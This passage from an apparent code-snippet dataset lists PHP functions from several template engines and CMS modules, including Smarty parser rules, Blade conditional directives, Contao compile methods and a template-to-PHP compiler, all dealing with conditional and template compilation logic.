'gte':\r\n\t\t\t\t\t$expr_is = '>=';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '&&':\r\n\t\t\t\t\tcase 'and':\r\n\t\t\t\t\t$expr_is = '&&';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '||':\r\n\t\t\t\t\tcase 'or':\r\n\t\t\t\t\t$expr_is = '||';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '!':\r\n\t\t\t\t\tcase 'not':\r\n\t\t\t\t\t$expr_is = '!';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '%':\r\n\t\t\t\t\tcase 'mod':\r\n\t\t\t\t\t$expr_is = '%';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\t\tdefault:\r\n\t\t\t\t\t$expr_is = $expr;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$result .= ' ' . $expr_is . ' '; \r\n\t\t}\r\n\t\t\r\n\t\t//whats match4 .. its something cant change it now .. i will do something good with it later .. \r\n\t\t\r\n\t\t\t\t$result .= $match[4];\r\n\t\t\t\t\r\n\t\t\t\t//some .. additions\r\n\t\t\t\t$result .= '){';\r\n\t\t\r\n\t\r\n\t\t//return it \r\n\t\treturn '<?php '.$result. '?>';\r\n\t}", "protected function parseIf($template) {\n\t\t$template = preg_replace_callback(\n\t\t\t'/\\{if (.*?)\\}(.*?)\\{else\\}(.*?){\\/if\\}/is',\n\t\t\tfunction ($matches) {\n\t\t\t\treturn $this->assignIf($matches[1], $matches[2], $matches[3]);\n\t\t\t},\n\t\t\t$template\n\t\t); // {if expression == expression} $content1 {else} $content2 {/if}\n\t\t$template = preg_replace_callback(\n\t\t\t'/\\{if (.*?)\\}(.*?)\\{\\/if\\}/is',\n\t\t\tfunction ($matches) {\n\t\t\t\treturn $this->assignIf($matches[1], $matches[2]);\n\t\t\t},\n\t\t\t$template\n\t\t); // {if expression == expression} $content {/if}\n\t\treturn stripcslashes($template);\n\t}", "function smarty_function_boolean($params, &$smarty) {\n if($params['b']) {\n return \"<img src='/icons/tick.png' /><span class='hiddenSpan'>Ja</span>\";\n } else {\n return \"<img src='/icons/cross.png' /><span class='hiddenSpan'>Nee</span>\";\n }\n}", "function yy_r34()\n {\n $tag = trim(substr($this->yystack[$this->yyidx + - 2]->minor, $this->lex->ldel_length));\n $this->_retvalue = $this->compiler->compileTag(($tag == 'else if') ? 'elseif' : $tag, $this->yystack[$this->yyidx + 0]->minor, array('if condition' => $this->yystack[$this->yyidx + - 1]->minor));\n }", "function yy_r10()\n {\n if ($this->php_handling == Smarty::PHP_PASSTHRU) {\n $this->compiler->template_code->php(\"echo '<%';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_QUOTE) {\n $this->compiler->template_code->php(\"echo '&lt;%';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_ALLOW) {\n if ($this->asp_tags) {\n if (! ($this->compiler->template instanceof SmartyBC)) {\n $this->compiler->error(self::Err3);\n }\n $this->text_is_php = true;\n } else {\n $this->compiler->template_code->php(\"echo '<%';\\n\");\n }\n } elseif ($this->php_handling == Smarty::PHP_REMOVE) {\n if (! $this->asp_tags) {\n $this->compiler->template_code->php(\"echo '<%';\\n\");\n }\n }\n }", "function yy_r11()\n {\n if ($this->php_handling == Smarty::PHP_PASSTHRU) {\n $this->compiler->template_code->php(\"echo '%>';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_QUOTE) {\n $this->compiler->template_code->php(\"echo '%&gt;';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_ALLOW) {\n if ($this->asp_tags) {\n $this->text_is_php = false;\n } else {\n $this->compiler->template_code->php(\"echo '%>';\\n\");\n }\n } elseif ($this->php_handling == Smarty::PHP_REMOVE) {\n if (! $this->asp_tags) {\n $this->compiler->template_code->php(\"echo '%>';\\n\");\n }\n }\n }", "function register_if_statement_handle(){\n $if_statement_translation_array = array(\n 'add_new_if' => __( 'Add New Condition ', IFLANG ),\n 'add_new_if_title_form' => __( 'Add new condition for restrict content ', IFLANG ),\n 'select_if_types' => __( 'Select type of conditions', IFLANG ),\n 'if_type_custom_content_admin' => __( 'Show content for administrators only', IFLANG ),\n 'if_type_custom_content_editor' => __( 'Show content for editors only', IFLANG ),\n 'if_type_custom_content_author' => __( 'Show content for authors only', IFLANG ),\n 'if_type_custom_content_contributor' => __( 'Show content for contributors only', IFLANG ),\n 'if_type_custom_content_subscriber' => __( 'Show content for subscribers only', IFLANG ),\n 'if_type_custom_content_logged_in' => __( 'Show content for users logged in', IFLANG ),\n 'if_type_custom_content_post_thumbnail' => __( 'Show content if post has thumbnail', IFLANG ),\n 'if_type_custom_content_comments_open' => __( 'Show content if comments open inside post/page', IFLANG ),\n 'if_type_custom_content_has_tag' => __( 'Show content if post has tags', IFLANG ),\n 'if_type_custom_content_is_attachment' => __( 'Show content if post/page has attachments', IFLANG ),\n 'if_type_custom_content_has_excerpt' => __( 'Show content if post/page has excerpt', IFLANG ),\n 'if_type_custom_content_pings_open' => __( 'Show content if pings open inside post/page', IFLANG ),\n 'if_type_custom_content_is_home' => __( 'Show content if the page is home page', IFLANG ),\n 'if_type_custom_content_is_rtl' => __( 'Show content if the directions for WP is RTL', IFLANG ),\n 'centent_between_if' => __( 'The content between condition', IFLANG ),\n 'centent_between_else' => __( 'The content if not true condition', IFLANG ),\n 'a_value' => '10'\n );\n wp_register_script( 'if_statement_handle', plugin_dir_url(__FILE__).'/include/editor_plugin.js' );\n wp_enqueue_script( 'if_statement_handle' );\n wp_localize_script( 'if_statement_handle', 'if_statement_text_domain', $if_statement_translation_array );\n }", "function yy_r9()\n {\n if ($this->is_xml) {\n $this->is_xml = false;\n $this->compiler->template_code->php(\"echo '?>';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_PASSTHRU) {\n $this->compiler->template_code->php(\"echo '?>';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_QUOTE) {\n $this->compiler->template_code->php(\"echo '?&gt;';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_ALLOW) {\n $this->text_is_php = false;\n }\n }", "protected function doIf($cxt) {\r\n\t\treturn new AS2DecompilerBranch(array_pop($cxt->stack), $cxt->lastAddress + 5, $cxt->op->op1);\r\n\t}", "function compile_template($template)\n {\n $template = preg_replace('/<\\?xml/i', \"<?php echo '<?xml'; ?>\", $template);\n\n // Compile variables in PHP code\n preg_match_all(\n \"/<[\\?|%]+(php|=)?(.*)[\\?|%]+>/siU\",\n $template,\n $regs,\n PREG_SET_ORDER\n );\n\n for ($i = 0; isset($regs[$i]); $i++) {\n // Fix single quotes\n $parsed = preg_replace_callback(\n \"/=\\s*'(.*)\".preg_quote($this->start).\"([A-Z0-9_]+)\".preg_quote($this->end).\"(.*)';/Usi\",\n array(&$this, '_fix_php_quotes'),\n $regs[$i][0]\n );\n\n $parsed = preg_replace_callback(\n '='.preg_quote($this->start).'([A-Z0-9_]+)'.preg_quote($this->end).'=Usi',\n array(&$this, '_compile_php_var'),\n $parsed\n );\n\n $template = str_replace($regs[$i][0], $parsed, $template);\n }\n\n // Compile variables\n $template = preg_replace_callback(\n '='.preg_quote($this->start).'([A-Z0-9_]+)'.preg_quote($this->end).'=Usi',\n array(&$this, '_compile_var'),\n $template\n );\n\n // Compile condition tags\n $template = preg_replace_callback(\n '='.preg_quote($this->start).'if(not?)?\\s+([A-Z0-9_]+)'.preg_quote($this->end).'=Usi',\n array(&$this, '_compile_condition_start'),\n $template\n );\n\n $template = preg_replace_callback(\n '='.preg_quote($this->start).'endif(not?)?\\s+([A-Z0-9_]+)'.preg_quote($this->end).'=Usi',\n array(&$this, '_compile_condition_end'),\n $template\n );\n\n return $template;\n }", "private function setupIfAction() {\n \n Blade::directive('if_action', function($expression) {\n $act = $this->stringParamAsString($expression); //gets act\n return '<?php '\n .' if ( (isset($show_actions) && array_search('.$act.',$show_actions)!==FALSE) || '\n . '(isset($hide_actions) && array_search('.$act.',$hide_actions)===FALSE) || '\n .' (!isset($show_actions) && !isset($hide_actions)) ): ?>';\n\n });\n }", "public function stdWrap_if($content = '', $conf = [])\n {\n if (empty($conf['if.']) || $this->checkIf($conf['if.'])) {\n return $content;\n }\n $this->stopRendering[$this->stdWrapRecursionLevel] = true;\n return '';\n }", "function templateCode_older() {\r\n\t\tif ($this->template !== \"none\") {\r\n\t\t\tprint('do not use this function 43096809683069836');exit(0);\r\n\t\t\t$bodycode = ReTidy::getBodyCode();\r\n\t\t\tif(strpos($bodycode, '<div class=\"center\">') !== false) {\r\n\t\t\t\tvar_dump(OM::getTagString('abvb<div class=\"center\">adsfds</div>sdsgdsgds', '<div class=\"center\">'));exit(0);\r\n\t\t\t\t$bodycode = substr(OM::getTagString($bodycode, '<div class=\"center\">'), strlen('<div class=\"center\">'), strlen($bodycode)-strlen('<div class=\"center\">')-4);\r\n\t\t\t}\r\n\t\t\t$this->code = str_replace(\"{content}\", $bodycode, file_get_contents($this->template));\r\n\t\t}\r\n\t}", "function display_conditions() {\n\t\t$output = '';\n\t\tforeach($this->conditions as $id => $set) {\n\t\t\tif(is_array($set)) {\n\t\t\t\t$ret = $this->do_set($set,$id.'_container');\n\t\t\t\tif(!$ret) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\t$output .= $ret;\n\t\t\t}\n\t\t}\n//echo '<pre>'.htmlentities($output).'</pre>';\n\t\tif(strlen(trim($output))) {\n\t\t\techo '\n<script type=\"text/javascript\">\n//<![CDATA[\n\t// Dynamically Generated Javascript for CF-Meta box display control\n\tjQuery(document).ready(function(){\n'.$output.'\n\t});'.PHP_EOL;\n\t\t\tif(is_array($this->comparison_funcs)) {\n\t\t\t\tforeach($this->comparison_funcs as $id => $func) {\n\t\t\t\t\techo PHP_EOL.'\t// CF-Meta comparison function for '.$id.$func;\n\t\t\t\t}\n\t\t\t}\n\t\t\techo '\n//]]>\n</script>'.PHP_EOL;\n\t\t}\n\t}", "public function compile()\n {\n\n $this->buildPage();\n\n if (defined('DEBUG_MARKUP') && DEBUG_MARKUP) {\n ob_start();\n $checkXml = new DOMDocument();\n\n if ($this instanceof LibTemplateAjax)\n $checkXml->loadXML($this->compiled);\n else\n $checkXml->loadHTML($this->compiled);\n\n $errors = ob_get_contents();\n ob_end_clean();\n\n // nur im fehlerfall loggen\n if ('' !== trim($errors)) {\n\n $this->getResponse()->addWarning('Invalid XML response');\n\n SFiles::write(PATH_GW.'log/tpl_xml_errors.html', $errors.'<pre>'.htmlentities($this->compiled).'</pre>');\n SFiles::write(PATH_GW.'log/tpl_xml_errors_'.date('Y-md-H-i_s').'.html', $errors.'<pre>'.htmlentities($this->compiled).'</pre>');\n }\n }\n\n if ($this->keyCachePage) {\n $this->writeCachedPage($this->keyCachePage , $this->compiled);\n }\n\n $this->output = $this->compiled;\n\n\n }", "private function setupIfColumn() {\n \n Blade::directive('if_column', function($expression) {\n $col = $this->stringParamAsString($expression); //gets col\n return '<?php '\n .' if ( (isset($show_columns) && array_search('.$col.',$show_columns)!==FALSE) || '\n . '(isset($hide_columns) && array_search('.$col.',$hide_columns)===FALSE) || '\n .' (!isset($show_columns) && !isset($hide_columns)) ): ?>';\n\n });\n }", "function yy_r8()\n {\n if ($this->php_handling == Smarty::PHP_PASSTHRU) {\n $this->compiler->template_code->php(\"echo '<?php';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_QUOTE) {\n $this->compiler->template_code->php(\"echo '&lt;?php';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_ALLOW) {\n if (! ($this->compiler->context->smarty instanceof Smarty_Smarty2BC)) {\n $this->compiler->error(self::Err3);\n }\n $this->text_is_php = true;\n }\n }", "function yy_r76(){if ($this->yystack[$this->yyidx + 0]->minor['var'] == '\\'smarty\\'') { $this->_retvalue = $this->compiler->compileTag('special_smarty_variable',$this->yystack[$this->yyidx + 0]->minor['index']);} else {\r\n $this->_retvalue = '$_smarty_tpl->getVariable('. $this->yystack[$this->yyidx + 0]->minor['var'] .')->value'.$this->yystack[$this->yyidx + 0]->minor['index']; $this->compiler->tag_nocache=$this->compiler->tag_nocache|$this->template->getVariable(trim($this->yystack[$this->yyidx + 0]->minor['var'],\"'\"))->nocache;} }", "public function visitIfAstNode( ezcTemplateIfAstNode $if )\n {\n foreach ( $if->conditions as $i => $conditionBody )\n {\n $condition = $conditionBody->condition;\n if ( $i == 0 )\n $this->write( \"if (\" );\n elseif ( $condition !== null )\n $this->write( \"elseif (\" );\n else\n $this->write( \"else\" );\n if ( $condition !== null )\n {\n $condition->accept( $this );\n $this->write( \")\\n{\\n\" );\n }\n else\n {\n $this->write( \"\\n{\\n\" );\n }\n $this->increaseIndentation( $this->indentation );\n $conditionBody->body->accept( $this );\n $this->restoreIndentation();\n $this->write( \"}\\n\" );\n }\n }", "protected function compile()\n {\n $objPage = PageModel::findByIdOrAlias($this->jumpTo);\n\n // Check if filter should be displayed\n if (!$this->reference_filter_disabled && !$this->reference_category) {\n $objTemplateFilter = new FrontendTemplate('reference_list_filter');\n\n // Filter category\n $intFilterCategory = Input::get('filterCategory');\n $objTemplateFilter->strLink = Environment::get('base') . $this->addToUrl('filterCategory=ID', true);\n\n // Get Categories\n $this->loadLanguageFile('tl_reference_category');\n\n $objCategories = ReferenceCategoryModel::findShowCategoriesByArchive( $this->reference_archiv, array(\n 'order' => 'title ASC'\n ));\n\n $arrOptions = array();\n\n $strOptions = '<option value=\"0\">' . $GLOBALS ['TL_LANG'] ['tl_reference_category'] ['category'] [0] . '</option>';\n if ($objCategories) {\n while ($objCategories->next()) {\n $strOptions .= '<option value=\"' . $objCategories->id . '\"' . ($intFilterCategory != $objCategories->id ? '' : ' selected') . '>' . $objCategories->title . '</option>';\n $arrOptions[] = ['title'=> $objCategories->title, 'id'=>$objCategories->id,'active'=>($intFilterCategory != $objCategories->id)?false:true ];\n }\n }\n $objTemplateFilter->strCategoryOptions = $strOptions;\n $objTemplateFilter->arrCategories = $arrOptions;\n $this->Template->strFilter = $objTemplateFilter->parse();\n\n } elseif($this->reference_category) {\n $strSearch = '';\n $intFilterCategory = $this->reference_category;\n } elseif($this->check_page_referenz) {\n $strSearch = '';\n $intFilterCategory = $this->checkCategoryPageReference();\n } else {\n $strSearch = '';\n $intFilterCategory = 0;\n }\n\n // Get items to calculate total number of items\n $references = ReferenceModel::findItems($this->reference_archiv, $strSearch, $intFilterCategory, $this->only_featured);\n\n // Pagination\n $limit = 0;\n $offset = 0;\n $total = 0;\n\n // Set limit to maximum number of items\n if ($this->numberOfItems > 0) {\n $limit = $this->numberOfItems;\n $total = $this->numberOfItems;\n } elseif ($references) {\n $total = $references->count();\n }\n\n // If per page is set and maximum number of items greater than per page use Pagination\n if ($references && $this->perPage > 0 && ($limit == 0 || $this->numberOfItems > $this->perPage)) {\n\n // Set limit, page and offset\n $limit = $this->perPage;\n $intPage = $this->Input->get('page') ? $this->Input->get('page') : 1;\n $offset = ($intPage - 1) * $limit;\n\n // Add pagination menu\n $objPagination = new \\Pagination ($total, $limit);\n $this->Template->pagination = $objPagination->generate();\n }\n\n // Order\n $referenceArchive = ReferenceArchiveModel::findByPk($this->reference_archiv);\n\n switch ($referenceArchive->sort_order) {\n case 2:\n $strOrder = 'sorting ASC';\n break;\n case 1:\n default:\n $strOrder = $this->reference_random ? 'RAND()' : 'title ASC';\n break;\n }\n\n\n $references = ReferenceModel::findItems($this->reference_archiv, $strSearch, $intFilterCategory, $this->only_featured, $offset, $limit, $strOrder);\n\n if ($references) {\n $this->Template->references = $this->getReferences($references, $objPage);\n $this->Template->no_references = false;\n } else {\n $this->Template->references = '';\n $this->Template->no_references = $GLOBALS['TL_LANG']['tl_module']['no_references'];\n\n }\n }", "function yy_r172()\n {\n if (empty($this->db_quote_code_buffer)) {\n $this->db_quote_code_buffer = \"ob_start();\\n\";\n }\n $this->db_quote_code_buffer .= $this->yystack[$this->yyidx + - 1]->minor->buffer;\n if ($this->block_nesting_level == count($this->compiler->_tag_stack)) {\n $this->prefix_number ++;\n $code = new Smarty_Compiler_Code();\n $code->iniTagCode($this->compiler);\n $code->formatPHP($this->db_quote_code_buffer . ' $_tmp' . $this->prefix_number . '=ob_get_clean();')->newline();\n $this->compiler->prefix_code[] = $code;\n $this->db_quote_code_buffer = '';\n $this->_retvalue = '$_tmp' . $this->prefix_number;\n } else {\n $this->_retvalue = false;\n }\n\n }", "private function appendIfModuleCheckEnd(){\n\t\t$string = '</IfModule>';\n\t\t$this->appendLineToRewrites($string);\n\t}", "protected function compile()\n {\n // Backend mode\n if (TL_MODE == 'BE') {\n return $this->compileBackend('### Showcase Overview ###');\n }\n\n // Add folder navigation\n \\Input::setGet('showcase', \\Input::get('showcase'));\n\n if (!empty(\\Input::get('showcase'))) {\n return '';\n }\n\n // Add isotope JS library\n $GLOBALS['TL_JAVASCRIPT'][] = Environment::get('path').'/bundles/comoloshowcase/js/isotope.pkgd.min.js|static';\n $GLOBALS['TL_JAVASCRIPT'][] = Environment::get('path').'/bundles/comoloshowcase/js/isotope-script.js|static';\n\n $this->Template->categories = ShowcaseCategoryModel::findBy('pid', $this->showcase, ['order' => 'sorting ASC']);\n $this->Template->strShowcases = $this->parseShowcases();\n }", "protected function compile()\n\t{\n\t\tif (TL_MODE == 'BE')\n\t\t{\n\t\t\t$this->strTemplate = 'be_wildcard';\n\t\t\t$this->Template = new \\BackendTemplate($this->strTemplate);\n\t\t}\n\t}", "private function setupIfHasElements() {\n Blade::directive('if_has_elements', function($expression) {\n return '<?php '.\"\\n\"\n .'$my_var = isset('.$this->stringParamAsString($expression).') ? '.$this->stringParamAsString($expression).' : null;'.\"\\n\"\n .'$__array_with_items = $my_var!=null && isset($my_var) && is_array($my_var) && count($my_var)>0;'.\"\\n\"\n .'$__collection_with_items = $my_var!=null && isset($my_var) && $my_var instanceof Illuminate\\Database\\Eloquent\\Collection && count($my_var->count())>0;'.\"\\n\"\n .'if ($__array_with_items || $__collection_with_items): '.\"\\n\"\n .' unset($__array_with_items);'.\"\\n\"\n .' unset($__collection_with_items);'.\"\\n\"\n .'?>'.\"\\n\";\n \n });\n }", "protected function compile()\n\t{\n\n\t\t$this->Template->tweetcontainer = $this->html;\n\n\t}", "function yy_r22(){\r\n if ($this->yystack[$this->yyidx + -11]->minor != 'for') {\r\n $this->compiler->trigger_template_error (\"wrong syntax for tag \\\"\" . $this->yystack[$this->yyidx + -11]->minor . \"\\\"\"); \r\n }\r\n $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -11]->minor,array('start'=>$this->yystack[$this->yyidx + -9]->minor,'ifexp'=>$this->yystack[$this->yyidx + -6]->minor,'varloop'=>$this->yystack[$this->yyidx + -2]->minor,'loop'=>$this->yystack[$this->yyidx + -1]->minor)); }", "function parse(){ // parsing template\n\t$loop_count = -1;\n\tif (func_num_args()>= 1){\n\t\t$proc_type = func_get_arg(0);\n\t\t//if (!in_array($proc_type, array(PT_ROOT, PT_IF, PT_FOR, PT_SILENT_IF, PT_SILENT_FOR, PT_FALSE_IF))) system_die('Invalid process type', 'Template->parse');\n\t} else {\n\t\tif ( (PT_COMPILE) && (isset($this->filename)) ) // file parsing\n\t\t{\n\t\t\tif (file_exists($this->filename . '.php'))\n\t\t\t\tif (filemtime($this->filename . '.php') > filemtime($this->filename))\n\t\t\t\t{\n\t\t\t\t\tinclude($this->filename . '.php');\n\t\t\t\t\t$this->result = $r;\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\t\t\t$nesting = 0;\n\t\t\t$tplc = '<?$r=\\'\\';';\n\t\t\tfor ($i=0; $i<count($this->template); $i++)\n\t\t\t{\n\t\t\t\t// process\n\t\t\t\t$line = trim($this->template[$i]);\n\t\t\t\t$line = preg_replace(PT_COMMENT_TAGS, '', $line); // Remove comments\n\t\t\t\t$result = array();\n\t\t\t\tif (preg_match(PT_START_TAGS, $line, $result))\n\t\t\t\t{\n\t\t\t\t\tif (strcasecmp($result[1], 'FOR') == 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$tplc .= 'for ($i' . $nesting . '=0;$i' . $nesting . '<intval(' . $this->get_var_ref($result[3], $nesting) . ');$i' . $nesting . '++){' . \"\\n\";\n\t\t\t\t\t\t$nesting++;\n\t\t\t\t\t}\n\t\t\t\t\telse // this line is IF opening tag\n\t\t\t\t\t{\n\t\t\t\t\t\t$tplc .= 'if ('.$result[2].'(bool)('.$this->get_var_ref($result[3], $nesting).')){' . \"\\n\";\n\t\t\t\t\t}\n\t\t\t\t} elseif (preg_match(PT_END_TAGS, $line, $result))\n\t\t\t\t{\n\t\t\t\t\t$tplc .= '}' . \"\\n\";\n\t\t\t\t\tif (strcasecmp($result[1], 'FOR') == 0)\n\t\t\t\t\t\t$nesting--;\n\t\t\t\t} elseif (preg_match(PT_MIDDLE_TAGS, $line, $result))\n\t\t\t\t{\n\t\t\t\t\t$tplc .= '}else{' . \"\\n\";\n\t\t\t\t} elseif (preg_match('/<%/', $line, $result))\n\t\t\t\t{\n\t\t\t\t\t$j = 0;\n\t\t\t\t\t$tmp_str = '';\n\t\t\t\t\twhile ($j<strlen($line))\n\t\t\t\t\t{\n\t\t\t\t\t\tif ( ($line[$j] == '<') && ($line[$j+1] == '%') )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (strlen($tmp_str))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$dw = 0;\n\t\t\t\t\t\t\t\t$tplc .= '$r.=' . $this->_process_unk_value($tmp_str, $nesting, $dw) . \";\\n\";\n\t\t\t\t\t\t\t\t$tmp_str = '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$dw = 0;\n\t\t\t\t\t\t\t$tplc .= '$r.=' . $this->_process_f_value(substr($line, $j), $nesting, $dw) . \";\\n\";\n\t\t\t\t\t\t\t$j += $dw;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$tmp_str .= $line[$j];\n\t\t\t\t\t\t\t$j++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (strlen($tmp_str))\n\t\t\t\t\t{\n\t\t\t\t\t\t$dw = 0;\n\t\t\t\t\t\t$tplc .= '$r.=' . $this->_process_unk_value($tmp_str, $nesting, $dw) . \";\\n\";\n\t\t\t\t\t}\n\t\t\t\t\tif (strlen($line))\n\t\t\t\t\t\t$tplc .= '$r.=\"\\\\n\";';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif (strlen($line))\n\t\t\t\t\t{\n\t\t\t\t\t\t$dw = 0;\n\t\t\t\t\t\t$tplc .= '$r.=' . $this->_process_unk_value($line, $nesting, $dw) . \".\\\"\\\\n\\\";\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$tplc .= '?>';\n\t\t\t\n\t\t\t$fh = fopen($this->filename . '.php', 'wt');\n\t\t\tif ($fh)\n\t\t\t{\n\t\t\t\tfwrite($fh, $tplc);\n\t\t\t\tfclose($fh);\n\t\t\t}\n\t\t\telse\n\t\t\t\tsystem_die('Cannot save compiled template');\n\t\t\tinclude($this->filename . '.php');\n\t\t\t$this->result = $r;\n\t\t\treturn 0;\n\t\t} // if compile and filename\n\t\t$proc_type = PT_ROOT;\n\t\tunset($this->result);\n\t}\n\tif (func_num_args()> 1){\n\t\t$curr_pos = intval(func_get_arg(1));\n\t\tif (($proc_type == PT_FOR) && (func_num_args() < 3)) system_die('Undefined loop count (FOR process)', 'Template->parse');\n\t\tif (func_num_args()> 2) $loop_count = intval(func_get_arg(2));\n\t}\n\telse\n\t\t$curr_pos = 0;\n\t$succ_mode = false;\n\twhile ($curr_pos < sizeof($this->template)){\n\t\t$line = $this->template[$curr_pos]; // current line\n\t\t$line = preg_replace(PT_COMMENT_TAGS, '', $line); // Remove comments\n\t\tif (preg_match(PT_START_TAGS, $line, $result)){ // this line contains one of the START tags\n\t\t\t$result[1] = strtoupper($result[1]);\n\t\t\tif ($result[1] == 'FOR'){\n\t\t\t\tif (!$this->in_vars($result[3]) && ($proc_type < PT_SILENT_IF)){ // invalid FOR variable\n\t\t\t\t\t$error_msg = 'Invalid FOR statement counter named \"'.$result[3].'\"';\n\t\t\t\t\tbreak;\n\t\t\t\t} else {\n\t\t\t\t\tif ($proc_type <= PT_FOR) $count = intval($this->get_var_val($result[3]));\n\t\t\t\t\t$this->system_vars['cycle_nesting']++;\n\t\t\t\t\t$nesting_saver = $this->system_vars['cycle_nesting'];\n\t\t\t\t\tif ($proc_type> PT_FOR) $last_pos = $this->parse(PT_SILENT_FOR, $curr_pos + 1, 0); // create invisible FOR process\n\t\t\t\t\telse {\n\t\t\t\t\t\tif ($count == 0) $last_pos = $this->parse(PT_SILENT_FOR, $curr_pos + 1, 0); // create invisible FOR process\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tfor ($c = 0; $c < $count; $c++){\n\t\t\t\t\t\t\t\t$this->system_vars['cycle_counters'][$nesting_saver] = $c;\n\t\t\t\t\t\t\t\t$this->system_vars['cycle_nesting'] = $nesting_saver;\n\t\t\t\t\t\t\t\t$last_pos = $this->parse(PT_FOR, $curr_pos + 1, $c); // create visible FOR process in loop\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$curr_pos = $last_pos;\n\t\t\t\t}\n\t\t\t} else { // this line is IF opening tag\n\t\t\t\tif (!$this->in_vars($result[3]) && ($proc_type < PT_SILENT_IF)){\n\t\t\t\t\t$error_msg = 'Invalid IF statement variable named \"'.$result[3].'\"';\n\t\t\t\t\tbreak;\n\t\t\t\t} else {\n\t\t\t\t\tif ($proc_type>PT_FOR) $curr_type = PT_SILENT_IF;\n\t\t\t\t\telse {\n\t\t\t\t\t\t$var = (bool)$this->get_var_val($result[3]);\n\t\t\t\t\t\tif (strlen($result[2])> 0) $var = !$var;\n\t\t\t\t\t\t$curr_type = ($var)?PT_IF:PT_FALSE_IF;\n\t\t\t\t\t}\n\t\t\t\t\tif ($loop_count!=-1) $curr_pos = $this->parse($curr_type, $curr_pos+1, $loop_count); // create new IF process inside the loop\n\t\t\t\t\telse $curr_pos = $this->parse($curr_type, $curr_pos+1); // create new IF process\n\t\t\t\t}\n\t\t\t}\n\t\t} elseif(preg_match(PT_END_TAGS, $line, $result)){\n\t\t\t$result[1] = strtoupper($result[1]);\n\t\t\tif (((($proc_type == PT_FOR) || ($proc_type == PT_SILENT_FOR)) && ($result[1] == 'FOR')) || ((($proc_type == PT_IF) || ($proc_type == PT_SILENT_IF) || ($proc_type == PT_FALSE_IF)) && ($result[1] == 'IF'))) {\n\t\t\t\tif (($proc_type == PT_FOR) || ($proc_type == PT_SILENT_FOR)) $this->system_vars['cycle_nesting']--; // this one was the end of loop block\n\t\t\t\t$succ_mode = true;\n\t\t\t\tbreak;\n\t\t\t} else {\n\t\t\t\t$error_msg = 'Unexpected end of '.$result[1].' statement';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t} elseif(preg_match(PT_MIDDLE_TAGS, $line, $result)){ // this line contains one of the MIDDLE tags (ELSE probably)\n\t\t\t$result[1] = strtoupper($result[1]);\n\t\t\tif (($proc_type == PT_FALSE_IF) && ($result[1] == 'ELSE')) {\n\t\t\t\t$proc_type = PT_IF;\n\t\t\t} elseif (($proc_type == PT_IF) && ($result[1] == 'ELSE')) {\n\t\t\t\t$proc_type = PT_FALSE_IF;\n\t\t\t} elseif($proc_type != PT_SILENT_IF) { // ELSE inside non IF process or so\n\t\t\t\t$error_msg = 'Unexpected '.$result[1].' statement '.$proc_type;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t} elseif ($proc_type <= PT_FOR){ // processing of visible contents\n\t\t\tif (!isset($this->result)) $this->result = '';\n\t\t\t\t$matches = array();\n\t\t\t\t$line_is_control = false;\n\n\t\t\t\tif (preg_match_all(PT_COUNTER_TAGS, $line, $matches)){ // We have counter tags inside\n\t\t\t\t\t$replace = array();\n\t\t\t\t\tforeach ($matches[0] as $key => $val){ // process counters\n\t\t\t\t\t\tif ($loop_count >= 0) $replace[$key] = $loop_count + 1;\n\t\t\t\t\t\telse $replace[$key] = '';\n\t\t\t\t\t}\n\t\t\t\t\t$line = str_replace($matches[0], $replace, $line); // replace'em all\n\t\t\t\t}\n\t\t\t\t// processing variables\n\n\t\t\t\tif (preg_match_all(PT_VARIABLE_TAGS, $line, $matches)){ // Yes! We have some tags inside\n\t\t\t\t\t$replace = array();\n\t\t\t\t\tforeach ($matches[2] as $key => $val){ // go thru the matches\n\t\t\t\t\t\tif (strlen($matches[4][$key])> 0){ // process array variables\n\t\t\t\t\t\t\tif (isset($this->vars[$val]) && is_array($this->vars[$val]) && array_key_exists($matches[4][$key], $this->vars[$val])){\n\t\t\t\t\t\t\t\t\t$replace[$key] = $this->vars[$val][$matches[4][$key]];\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '#')\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = htmlspecialchars($replace[$key]); // escape html entries for # tag\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '+')\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace('+', '%20', urlencode($replace[$key])); // url escape for + tag\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '^')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\\\\", \"\\\\\\\\\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"'\", 